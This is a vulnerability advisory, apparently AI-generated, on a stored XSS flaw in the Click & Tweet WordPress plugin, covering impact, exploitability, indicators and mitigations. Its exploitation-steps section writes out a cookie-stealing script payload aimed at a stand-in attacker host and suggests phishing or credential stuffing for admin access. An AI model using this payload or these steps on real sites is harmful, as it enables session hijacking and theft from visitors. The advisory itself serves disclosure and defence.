CVE-2025-60179
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-60179 is a Stored Cross-Site Scripting (XSS) vulnerability in the Space Studio "Click & Tweet" WordPress plugin, affecting all versions through 0.8.9. The vulnerability was discovered by security researcher Nabil Irawan, reported on July 14, 2025, and publicly disclosed on September 26, 2025. It carries a CVSS v3.1 base score of 5.9 (Medium) (Patchstack, Red Hat CVE).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a Stored XSS flaw in the Click & Tweet WordPress plugin. An attacker with Administrator-level privileges can inject malicious scripts into plugin-controlled content that is then persistently stored and executed in the browsers of site visitors. Exploitation requires high privileges to inject the payload but only requires a victim user to visit the affected page for the script to execute, with the scope of impact extending beyond the attacker's own session (changed scope) (Patchstack, Red Hat CVE).

Impact

Successful exploitation allows a privileged attacker to inject persistent malicious scripts into WordPress pages or posts, which execute in the browsers of any visitor to the affected site. This can result in session hijacking, credential theft, unauthorized redirects, defacement, or delivery of malicious payloads to site visitors. The confidentiality, integrity, and availability impacts are all rated Low, but the changed scope means the attack can affect users beyond the attacker's own privilege boundary (Patchstack).

Exploitability

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-60179. The EPSS score is approximately 0.031% (0.000310), indicating a very low probability of exploitation in the near term. Exploitation requires Administrator-level access to the WordPress site, significantly limiting the attack surface. No threat actor attribution or CISA KEV catalog listing has been identified for this vulnerability (Patchstack, Red Hat CVE).

Exploitation steps

  1. Gain Administrator Access: Obtain WordPress administrator credentials through phishing, credential stuffing, or another means, as high privileges are required to inject content via the Click & Tweet plugin.
  2. Navigate to Plugin Settings: Log into the WordPress admin dashboard and locate the Click & Tweet plugin configuration or post/page editor where the plugin's shortcode or settings can be modified.
  3. Inject Malicious Payload: Insert a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a plugin-controlled input field that is rendered on the front end.
  4. Trigger Victim Execution: Wait for a site visitor (or targeted user) to load the page containing the injected content; the malicious script executes in their browser context, enabling session theft, credential harvesting, or further attacks (Patchstack).

Indicators of compromise

  • Logs: WordPress admin audit logs showing unexpected modifications to Click & Tweet plugin settings or posts/pages containing unusual script tags by an administrator account.
  • File System: Unexpected JavaScript or HTML content containing <script> tags within plugin-generated shortcode output or database entries associated with the Click & Tweet plugin.
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages with Click & Tweet content, potentially indicating cookie or credential exfiltration.

Mitigation and workarounds

As of the disclosure date (September 26, 2025), no official patched version of the Click & Tweet plugin was available (Patchstack). Site administrators should consider deactivating and removing the plugin until a patch is released. As a compensating control, restrict administrator access to trusted users only, enforce strong authentication (MFA), and use a WordPress security plugin or WAF (such as Patchstack) capable of virtually patching this vulnerability. Monitor the plugin's WordPress.org page and vendor communications for patch availability.

Community reactions

The vulnerability was assigned and disclosed by Patchstack, which credited researcher Nabil Irawan for the discovery. Patchstack classified the priority as "Low" and noted it is unlikely to be exploited due to the high privilege requirement. No significant broader media coverage or notable researcher commentary beyond the Patchstack advisory has been identified (Patchstack).

Additional resources


SourceThis report was generated using AI

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